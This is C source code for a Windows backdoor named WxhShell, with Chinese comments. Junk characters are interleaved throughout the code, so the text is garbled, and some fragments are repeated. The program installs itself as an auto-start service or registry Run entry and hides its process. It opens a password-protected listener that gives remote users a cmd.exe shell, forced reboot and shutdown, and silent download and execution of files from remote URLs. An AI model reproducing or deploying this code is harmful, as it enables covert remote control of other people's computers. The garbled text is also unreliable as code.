qSv%_ t')h{2&&!2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Z:3`7c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f7Zf}1| "MTWjW*6 HANDLE hProcess; z4g+2f7h-X PROCESS_BASIC_INFORMATION pbi; eO'xkm )`<6taKx@n HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @YCv if(NULL == hInst ) return 0; zHV|-R e[}],W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9<v}LeX g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sW?B7o? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3EmcYC D{R/#vM jk if (!NtQueryInformationProcess) return 0; @m?{80;uQ >{QdMn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ' X}7]y if(!hProcess) return 0; @LcT-3 u qp\BV #E if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [yC"el6PM /tP7uVL
R CloseHandle(hProcess);
qtzFg# ?ZaD=nh$mK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v`SY6;<2 if(hProcess==NULL) return 0; C%]."R cMC b~j~ HMODULE hMod; 847 R
char procName[255]; %[XY67A3I unsigned long cbNeeded; ?I\v0H* t=i/xG: 5 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qC..\{z V}SyD(8~ CloseHandle(hProcess); iD<6t_8), O^0" if(strstr(procName,"services")) return 1; // 以服务启动 Mb/L~gd" 9Eg&CZ,9$D return 0; // 注册表启动 JR)/c6j } 7G"7wYc>R ,%Z&*n // 主模块 SW#BZ3L int StartWxhshell(LPSTR lpCmdLine) E+z18Lf? { =53bLzr SOCKET wsl; )tD6=Iz^5 BOOL val=TRUE; .gq(C9<B[ int port=0; k}zd'
/b struct sockaddr_in door; tOM(U-7Z& "J!}3)n if(wscfg.ws_autoins) Install(); (f~gEKcB2u uB;_vC port=atoi(lpCmdLine); /[iG5~G 69/?7r if(port<=0) port=wscfg.ws_port; (zC
/l6\^Xf{ WSADATA data; H_Os4} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yx),6C3 ?q!FG( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~.6|dw\p! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7]s%rya door.sin_family = AF_INET; !}5*?k
g door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,1
P[ door.sin_port = htons(port); 5B{k\H; +T2HE\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qci$YTwl> closesocket(wsl); jTfi@5aPY return 1; o%`npi1y } ik5|,#}m& |1l&@#j!2 if(listen(wsl,2) == INVALID_SOCKET) { %`+'v_iu closesocket(wsl); ej52AK7 return 1; j o_
sAb } E:w:4[neh Wxhshell(wsl); Qn.[{rw WSACleanup(); P"F{=\V1`< jV^C19 return 0; {6O0.}q]& )o jDRJ& } [(|v`qMv/g
rN"Xz // 以NT服务方式启动 P'tMu6+) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *d>vR1 { `?9T~, DWORD status = 0; ZPyM>XK$4 DWORD specificError = 0xfffffff; =VSkl;(O O R
#7" serviceStatus.dwServiceType = SERVICE_WIN32; h$ Da&$uyI serviceStatus.dwCurrentState = SERVICE_START_PENDING; >zmzK{A= serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v"RiPHLT serviceStatus.dwWin32ExitCode = 0; k|FSz#Y serviceStatus.dwServiceSpecificExitCode = 0; Jq
.L:>x
serviceStatus.dwCheckPoint = 0; 5+K;_) serviceStatus.dwWaitHint = 0; :<GfET Is >vujZw_0> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jK3\K/ob( if (hServiceStatusHandle==0) return; /\J|Uj I60DUuF status = GetLastError(); xmr|'}Pt[ if (status!=NO_ERROR) p)3nyN=|_ { #mLuU serviceStatus.dwCurrentState = SERVICE_STOPPED; ia4k :\ serviceStatus.dwCheckPoint = 0; 6peyh_ serviceStatus.dwWaitHint = 0; 2\0Oji\6 serviceStatus.dwWin32ExitCode = status; (A{NF( serviceStatus.dwServiceSpecificExitCode = specificError; r5 yO5W SetServiceStatus(hServiceStatusHandle, &serviceStatus); =& -[TPW return; OOB^gf}$' } zZ=$O-&% YH\j@^n serviceStatus.dwCurrentState = SERVICE_RUNNING; |pW\Ec#( serviceStatus.dwCheckPoint = 0; jPk
c3dG
+ serviceStatus.dwWaitHint = 0; vZkXt!%) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |nY~ZVTt/ } [w+Q^\%bN hNbIpi= // 处理NT服务事件,比如:启动、停止 >]&X ^V%Q# VOID WINAPI NTServiceHandler(DWORD fdwControl) | ^GyH$. { XP?*=Z] switch(fdwControl) </s,pe79B { maC>LBa2/ case SERVICE_CONTROL_STOP: >"("*3AO serviceStatus.dwWin32ExitCode = 0; w`gyE
6A serviceStatus.dwCurrentState = SERVICE_STOPPED; r,xmEj0E serviceStatus.dwCheckPoint = 0; E>pVn2| serviceStatus.dwWaitHint = 0; fbC~WV# { ;6m;M63 z SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bo
r7] # } y3IWfiz>/d return; wsnK3tM7- case SERVICE_CONTROL_PAUSE: 3KcaT5(& serviceStatus.dwCurrentState = SERVICE_PAUSED; ]sj0~DI*m break; aB"xqh)a}T case SERVICE_CONTROL_CONTINUE: {'R)4hL serviceStatus.dwCurrentState = SERVICE_RUNNING; 'jvpNn break; rWQY?K@ case SERVICE_CONTROL_INTERROGATE: 8Xn!Kpa break; 9.&mz}q }; fz}?*vPW SetServiceStatus(hServiceStatusHandle, &serviceStatus); uGCp#>+ } 'UfeluMd [B9 ;?G // 标准应用程序主函数 'MQ%)hipA int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -9o{vmB{ { G!Zyl^ 4#)6.f~ // 获取操作系统版本 &ao(!/im OsIsNt=GetOsVer(); @Zm Jz GetModuleFileName(NULL,ExeFile,MAX_PATH); `ZGcgO<c\ 4tJa-7 // 从命令行安装 5=Lq=,K$ if(strpbrk(lpCmdLine,"iI")) Install(); 8&E}n(XE C6QbBo // 下载执行文件 js <Ww$zFW if(wscfg.ws_downexe) { ^Mytp> 7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FtIa*j^G WinExec(wscfg.ws_filenam,SW_HIDE); p2d\ZgWD=) } ZK!A#Jm{ T20VX 8gX if(!OsIsNt) { 7SS07$B // 如果时win9x,隐藏进程并且设置为注册表启动 YD&_^3-XM HideProc(); zY%. Rq- StartWxhshell(lpCmdLine); #jS[ } _H\<[-l else ebM{OI if(StartFromService()) ctJ&URCi# // 以服务方式启动 dGkgaC+ StartServiceCtrlDispatcher(DispatchTable); 97LpY_sU else P}r)wAt // 普通方式启动 D:E9!l' StartWxhshell(lpCmdLine); ,]$A\+m' 3f&|h^\nD return 0; *%A}x } K2ewucn WzlC*iv I>"Ci(N A6p`ma $L =========================================== {a"RXa lhPGE_\ C1fyV] v?j!&d> @8gEH+r (3%t+aqq " u$\a3yi "JT;gaEm #include <stdio.h> n?QZFeI` #include <string.h> FpVV4D #include <windows.h> `9 [i79U #include <winsock2.h> 'uC59X4l #include <winsvc.h> !O)qYmK]| #include <urlmon.h> >i~^TY-& $[(d X!]F #pragma comment (lib, "Ws2_32.lib") ?L|yaC~ #pragma comment (lib, "urlmon.lib") DTY<0Q. FvXqggfGv #define MAX_USER 100 // 最大客户端连接数 `X8@/wf# #define BUF_SOCK 200 // sock buffer _gV8aH ZyM #define KEY_BUFF 255 // 输入 buffer G[z
.&l IXq(jhm8bL #define REBOOT 0 // 重启 CqoG.1jJS #define SHUTDOWN 1 // 关机 G{lcYP O N|dD! #define DEF_PORT 5000 // 监听端口 GYK\LHCPd 2{oThef[O #define REG_LEN 16 // 注册表键长度 ' 4O- #define SVC_LEN 80 // NT服务名长度 :uK
btoA O\Eqr?%L) // 从dll定义API W{Z^n(f4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AsxD}Nw[Z* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DxS sg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #oV+@D` p'Bm8=AwD // wxhshell配置信息 ~W{-Q. struct WSCFG { Q5n`F5 int ws_port; // 监听端口 bToq$%sCg char ws_passstr[REG_LEN]; // 口令 wCb(>pL0 int ws_autoins; // 安装标记, 1=yes 0=no
f[jNwb char ws_regname[REG_LEN]; // 注册表键名 658^"]Rk'/ char ws_svcname[REG_LEN]; // 服务名 {eHAg<+ char ws_svcdisp[SVC_LEN]; // 服务显示名 @x{`\AM|% char ws_svcdesc[SVC_LEN]; // 服务描述信息 S# we3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &Lj@9\Dh int ws_downexe; // 下载执行标记, 1=yes 0=no 5:_hP{ @ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1r9 f[j~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -5Utlos |b.z*G }; PCE4W^ns *e{PxaF!C // default Wxhshell configuration LU2waq}VA struct WSCFG wscfg={DEF_PORT, p3]Q^KFS "xuhuanlingzhe", l-O$ m 1, l] !B#{ "Wxhshell", pv# 2]v "Wxhshell", 0A[e sWmP "WxhShell Service", #kcSQ' "Wrsky Windows CmdShell Service", >k(MUmhX "Please Input Your Password: ", WUoOGbA ` 1, &M[f&_"8Q "http://www.wrsky.com/wxhshell.exe", WES#ZYtT "Wxhshell.exe" =r4!V> }; 8q^o.+9 g>j| ]6 // 消息定义模块 SF<Vds}A2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f =s&n} char *msg_ws_prompt="\n\r? for help\n\r#>"; Mr3-q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MC!ZX)mF char *msg_ws_ext="\n\rExit."; UY>v"M char *msg_ws_end="\n\rQuit."; @,OT/egF4: char *msg_ws_boot="\n\rReboot..."; $g\&5sstE char *msg_ws_poff="\n\rShutdown..."; ]z == char *msg_ws_down="\n\rSave to "; 1wn&js C d7Ro}>lp char *msg_ws_err="\n\rErr!"; Xu} U{x> char *msg_ws_ok="\n\rOK!"; FN87^.^2S MDO$m g char ExeFile[MAX_PATH]; }DjYGMrTB int nUser = 0; "@ E3MTW HANDLE handles[MAX_USER]; 8l+H"M&| int OsIsNt; #@f[bP}a wWjG
JvJ SERVICE_STATUS serviceStatus; m7jA
,~O SERVICE_STATUS_HANDLE hServiceStatusHandle; oy\B;aAK 1{PG>W // 函数声明 i*[n{=*l@ int Install(void); IOl+t,0x& int Uninstall(void); l*}FXL int DownloadFile(char *sURL, SOCKET wsh); $:bih4@> int Boot(int flag); a)s;dp}T% void HideProc(void); eph)=F$ int GetOsVer(void); Zq"7,z7 int Wxhshell(SOCKET wsl); EU+cca|qS9 void TalkWithClient(void *cs); M0'v&g int CmdShell(SOCKET sock); {^ec(EsO# int StartFromService(void); k$7Z^~?Fz int StartWxhshell(LPSTR lpCmdLine); T0QvnIaP PlxIfL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~(X(& VOID WINAPI NTServiceHandler( DWORD fdwControl ); Af-UScD%G ;)hw%Z]Jj$ // 数据结构和表定义 K~6e5D7. SERVICE_TABLE_ENTRY DispatchTable[] = v/QUjXBr { *I*i>==Z {wscfg.ws_svcname, NTServiceMain}, LJTo\^* {NULL, NULL} 2YBIWR8z }; '\7G@g?UZ NC"yDWnO' // 自我安装 rpV1y$n<F int Install(void) ?u$u?j|N { L'A)6^d@S char svExeFile[MAX_PATH]; Y "jE' HKEY key; .zj0Jy8N strcpy(svExeFile,ExeFile); E4%j. X(AN)&L[ // 如果是win9x系统,修改注册表设为自启动 X9=N%GY[ if(!OsIsNt) { K 1#ji*Tp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tx>K:`oB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EtJ8^[u2J RegCloseKey(key); Ao.\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 963aW*r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DVp5hR_$ RegCloseKey(key); 7[#xOZT return 0; (/{aJV } z~oDWANP } 4gBp8*2 } >)nS2bOE else { 9<1F[SS<s9 nvq3* // 如果是NT以上系统,安装为系统服务 JMa3btLy( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :}}%#/nd if (schSCManager!=0) iz^qR={bW { IyUdZ,ba SC_HANDLE schService = CreateService UE0$ o? ( |zsbW9
W*m schSCManager, 7=}F{U wscfg.ws_svcname, 2.I^Xf2 wscfg.ws_svcdisp, @cvP0A SERVICE_ALL_ACCESS, `}gbc69 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PX
O!t]* SERVICE_AUTO_START, >t+
qe/ SERVICE_ERROR_NORMAL, ^>c8t_RG svExeFile, F`+\>ae$h NULL, S33j?+Vs NULL, ,[rPe\w.z NULL, e{w>%)rcP NULL, I*|P@0 NULL Wr~yK? : ] ); i775:j~zx0 if (schService!=0) @R6 ttx { ,J=P,]( CloseServiceHandle(schService); hwnJE958L CloseServiceHandle(schSCManager); YlK7;yrq( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]7 GlO9 strcat(svExeFile,wscfg.ws_svcname); FiAY\4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n> w`26MMp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cNK)5-
U RegCloseKey(key); nhT(P`6 return 0; 9.OA, 6 } ]/2T\w.< } @r7:NU} CloseServiceHandle(schSCManager); hUpnI@ } c/3$AUsuO } ;/O#4]2* lx0~>K] return 1; B{6<;u)[ } Q(7ob}+jQ ~qVz)< // 自我卸载 2?7(A int Uninstall(void) Tbbz'b;{ { B|=|.qp$) HKEY key; 0"WDH)7hJ &m^@9E)S/ if(!OsIsNt) { KM,|} .@: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A$/\1282 RegDeleteValue(key,wscfg.ws_regname); :%rS
=f RegCloseKey(key); rfcN/:k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }M>rE RegDeleteValue(key,wscfg.ws_regname); S7iDTG_@t RegCloseKey(key); /%rq
hHs return 0; \1%l^dE@ } vv0Q$
O-> } x34f9!
't } VRng=, else { -%c<IX>z9 7N8H)X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EM j;2! if (schSCManager!=0) Fzq41jiS { A&5:ATQ/| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5N7H{vT_ if (schService!=0) D/(CU#i" { *#U+qgA;` if(DeleteService(schService)!=0) { _c(4o: CloseServiceHandle(schService); f{#j6wZM CloseServiceHandle(schSCManager); P A;6$vqX return 0; {d3<W N } vXj < CloseServiceHandle(schService); Q+q,!w8 } 63WS7s" CloseServiceHandle(schSCManager); dE`-\J } d=* x#In } U
Z_'><++ R*pC.QiB~ return 1; QfjN"25_ } .N m su+s 62'1X" // 从指定url下载文件 yl&UM
qI( int DownloadFile(char *sURL, SOCKET wsh) _`-1aA&n~ { l1=JrpCan HRESULT hr; gN6rp(?y char seps[]= "/"; wEW4gz{s char *token; VaONd0Z I char *file; zy'D!db`Z char myURL[MAX_PATH]; &}6KPA; char myFILE[MAX_PATH]; ksR1kvTm 0ZpFE& strcpy(myURL,sURL); CO+/.^s7}S token=strtok(myURL,seps); dP2irC%f8 while(token!=NULL) TCKu,}s { @Yw,nQE)b file=token; `\u;K9S6 token=strtok(NULL,seps);
G bP!9I } GwU?wIIj^ 9O*_L:4o GetCurrentDirectory(MAX_PATH,myFILE); 8|?LN8rp strcat(myFILE, "\\"); &^&zR(o` strcat(myFILE, file); +UN <Zp7I/ send(wsh,myFILE,strlen(myFILE),0); SGc8^%-` send(wsh,"...",3,0); o|pT;1a" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >JwLk[=j if(hr==S_OK) ;lX(}2tXW return 0; E.bi05l else sW#JjtK return 1; #K\?E.9h !9iGg*0dx } /$N~O1"0) ^eYqll/U // 系统电源模块 SO\/-]9# int Boot(int flag) Q^Ql\ {
kzmQm HANDLE hToken; I`(l *U TOKEN_PRIVILEGES tkp; G_H?f\/ VhGs/5 if(OsIsNt) { =DbY? Q<Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `/&SxQB< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z;Rp+X tkp.PrivilegeCount = 1; G2{O9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HmmS(fU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s)
O[t if(flag==REBOOT) { /Dtd#OAdr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MTGiAFE return 0; "L&'Fd@ZU } 4674SzL else { )jrT6x^IB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t+r:"bb return 0; va|*c22;| } Uh1NO&i.W } ?']h%'Q
else { F1%vtk;2? if(flag==REBOOT) { P>Euq'ajX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S"m cUU}} return 0; `fXyWrz-k } c?2MBtnu else { J<gJc*Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h&3YGCl return 0; ZSy?T } 9Mp$8-=>7 } g.JN_t5 2?C`4AR[2H return 1; 3VnQnd E } |%a4`w ,6^znOt // win9x进程隐藏模块 C`jM0Q void HideProc(void) DciwQcG { UM*jKi2]" <AlZ]~Yct HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #3=P4FUz. if ( hKernel != NULL ) ?Ucu#UO { sd#|3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3ss6_xd+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^\:8w0Y^ FreeLibrary(hKernel); "&Dx=Yf } q_W0/Ki8 {yU+)t(. return;
>YtdA } $2DuB R
#]jSiS // 获取操作系统版本 )\;Z4x;]U int GetOsVer(void) ZPN
roCK` { i|)Su4Dw OSVERSIONINFO winfo; 6&Juv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5m:i6,4 GetVersionEx(&winfo); X;F?:Iw \ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P|2E2=G return 1; F
09DV<j else Q zZ;Ob]' return 0; :4S%'d7 } pCpb;<JG 4F>Urh+ // 客户端句柄模块 t&Os;x?To? int Wxhshell(SOCKET wsl) /y7M lU9 { E@05e SOCKET wsh; W>(/ bX struct sockaddr_in client; ./j,Z$| DWORD myID; |wEN`#.;b o'~5pS(wq while(nUser<MAX_USER) ;|p$\26S)% { K
]OK:hY4 int nSize=sizeof(client); Uawpfgc} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "N:XzG if(wsh==INVALID_SOCKET) return 1; l JP1XzN_ @;xMs8@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yL^UE=#C_ if(handles[nUser]==0) +`M!D }! closesocket(wsh); LWsP ya else ']-@?sD$ nUser++; CxhY$%C (L }
d8SE,A& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m\>a,oZH %B5r"=oO return 0; 'evj,zFhW } l:6,QaT1
@=]~\[e\ // 关闭 socket ~1m2#> void CloseIt(SOCKET wsh) 6<,dRn { m]_FQWfet closesocket(wsh); qQi.?<d2"s nUser--; thO ~=RB ExitThread(0); Ko&hj XHx } !}\4utHY /<CSVJ_r // 客户端请求句柄 @\oz4^ void TalkWithClient(void *cs) =@u 5|: { dLsn\m> xCzebG[" SOCKET wsh=(SOCKET)cs; _ 7PMmW@ char pwd[SVC_LEN]; B()/.w?A char cmd[KEY_BUFF]; fW`&'! char chr[1]; kY,U8a3! int i,j; 1C Pjil*eb Iq+>qX while (nUser < MAX_USER) { D47R dt[k\ !-v if(wscfg.ws_passstr) { mDGn:oRj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @cRZk`|1n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wi8Yl1p]!z //ZeroMemory(pwd,KEY_BUFF); /:<IIqO. i=0; _UE)*l m+ while(i<SVC_LEN) { z|?R/Gf8 q1y/x@ // 设置超时 3'c\;1lhT fd_set FdRead; M@P1, Y struct timeval TimeOut; gx03xPeu FD_ZERO(&FdRead); Z=4{Vv* FD_SET(wsh,&FdRead); k+V6,V)my TimeOut.tv_sec=8; FLoNE>q TimeOut.tv_usec=0; /!}'t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >U1R.B7f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H* ,,^ Hv]7e| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E@a3~a pwd=chr[0]; P3
c\S[F if(chr[0]==0xd || chr[0]==0xa) { wpA`(+J pwd=0; Bb&^{7 break; wOQ#N++C } <?D[9Mk$ i++; IfO;S*Qt } *F>v]8 vN4Qdpdb // 如果是非法用户,关闭 socket = 5D nR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1tCQpf } H7+Xs% E^_wI> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {Z; jhR, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x#~ x;) &X9Z
W$C while(1) { e98lhu"|H %or,{mmiM: ZeroMemory(cmd,KEY_BUFF); ,1q_pep~?% _qvK*nE // 自动支持客户端 telnet标准 VhT=
l j=0; in<Rq"L while(j<KEY_BUFF) { UV}73Sp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5ep/h5*/ cmd[j]=chr[0]; gu)=wu0 if(chr[0]==0xa || chr[0]==0xd) { }],Z;: cmd[j]=0; ` b !5^W break; O 2{)WWOT } lcON+j j++; *5sBhx } JO&JP3N1 $&|y<Y= // 下载文件 sUl6hX4 if(strstr(cmd,"http://")) { zeP}tzQO send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9[v1h,L if(DownloadFile(cmd,wsh)) C\_zdADUb% send(wsh,msg_ws_err,strlen(msg_ws_err),0); N_4eM,7t else _a_xzv' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YL
jHt\ } -71dN0hWh else { Xf=XBoN| H-rWDN# switch(cmd[0]) { |6J ?8y ]!:oYAm // 帮助 s/"&9F3 case '?': { Zn:R
PMk* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |VOg\[f break; D+ V7hpH- } {P8[X@Lu // 安装 e{({|V ' case 'i': { @/J[t if(Install()) `&M{cfp_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Zuq?1= else ,O1O8TwUB0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m,3er*t{ break; ^IZ)#1U } ?[ly`>KpJ // 卸载 D/(L case 'r': { RVtQ20e";r if(Uninstall()) -@^Zq} send(wsh,msg_ws_err,strlen(msg_ws_err),0); (VyNvB else v8>v.}y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ->-*]-fv[L break; `Yc_5&" } YF#HSf7 // 显示 wxhshell 所在路径 F0~k1TDw case 'p': { g1(Xg. char svExeFile[MAX_PATH]; JGiKBm; strcpy(svExeFile,"\n\r"); #Z=tJ strcat(svExeFile,ExeFile); ||2Q~*: send(wsh,svExeFile,strlen(svExeFile),0); hf!|\f break; G
DSfT{kK\ } ,F+B Wot4 // 重启 N;F)jO
xsl case 'b': { iMF<5fLH& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'f8(#n=6qP if(Boot(REBOOT)) >YW\~T send(wsh,msg_ws_err,strlen(msg_ws_err),0); Auy".br' else { '2J0>Bla closesocket(wsh); M"=n>;*X ExitThread(0); VvByHcLv } oC*ees
g_ break; !2Dy_U= } ,Y_{L|:w // 关机 9z
m|Lbj case 'd': { m(D]qYwh send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k0?ZYeHC if(Boot(SHUTDOWN)) Ue5O9;y]u send(wsh,msg_ws_err,strlen(msg_ws_err),0); UIJx* else { x9>\(-uU closesocket(wsh); '6Qy /R ExitThread(0); Q+|{Bs)6i1 } k>4qkigjc break; OQ/<-+<w } X CB?ll*^ // 获取shell E
?2O( case 's': { rt]S\
CmdShell(wsh); oqkVYl E closesocket(wsh);
a<XCNTaVT ExitThread(0); =<f-ob8, break; I"L;L?\S } $X`y%*<<v // 退出 CF
y}r(q case 'x': { $KV&\Q3\0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <x%M3BTx CloseIt(wsh); wn+FTqj break; BJjx|VA+ } ClW'W#*(Y // 离开 }6RT,O g case 'q': { 8$P>wCK\l send(wsh,msg_ws_end,strlen(msg_ws_end),0); .r|*Ch#;P closesocket(wsh); jX=lAs~6 WSACleanup(); KV!<Oq exit(1); AH7L.L+$M break; .;/L2Jv } db=$zIB[: } qG8s;_G } r >{G`de4 0V,Nv9!S // 提示信息 !jX4`/n2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `qpc*enf0 } MKGS`X]<J } ={(j`VSUX0 Q}%tt=KD return; $FM'
3%B[ } AG"l1wz 7l8[xV
// shell模块句柄 E+_&HG}a int CmdShell(SOCKET sock) ;Kxbg>U { OTvROJP STARTUPINFO si; $j`
$[tX6l ZeroMemory(&si,sizeof(si)); sOFa!bdPW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JXQPT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }amU[U, PROCESS_INFORMATION ProcessInfo; -mNQ;zI1 char cmdline[]="cmd"; >G)qns9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dT@UK^\ return 0; 4z4v\IpB } o.:p_(|hI ~GB=Nz // 自身启动模式 ^i%A7pg int StartFromService(void) ~2}Pl) { 3*S[eqMJc typedef struct @Z(rgF{{ { =iz,S:[ DWORD ExitStatus; .:1qK<vz DWORD PebBaseAddress; uZjI?Z.A DWORD AffinityMask; S0w> hr DWORD BasePriority; MOz}Q1`a ULONG UniqueProcessId; Y)HbxFF`/ ULONG InheritedFromUniqueProcessId; B+VuUt{S } PROCESS_BASIC_INFORMATION; tiQ;#p7% <HoAj"xf PROCNTQSIP NtQueryInformationProcess; q|#MB7e/ mMw;0/n static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ma8wmQ9 JR static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S)\8|ym6! A=3HO\n5 HANDLE hProcess; y0q#R.TOm PROCESS_BASIC_INFORMATION pbi; s3t!<9[m Q}vbm4)[ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3P=w =~e if(NULL == hInst ) return 0; z_SagU,\ <+E%E4 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -e`;bX_N) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zhEo(kU!
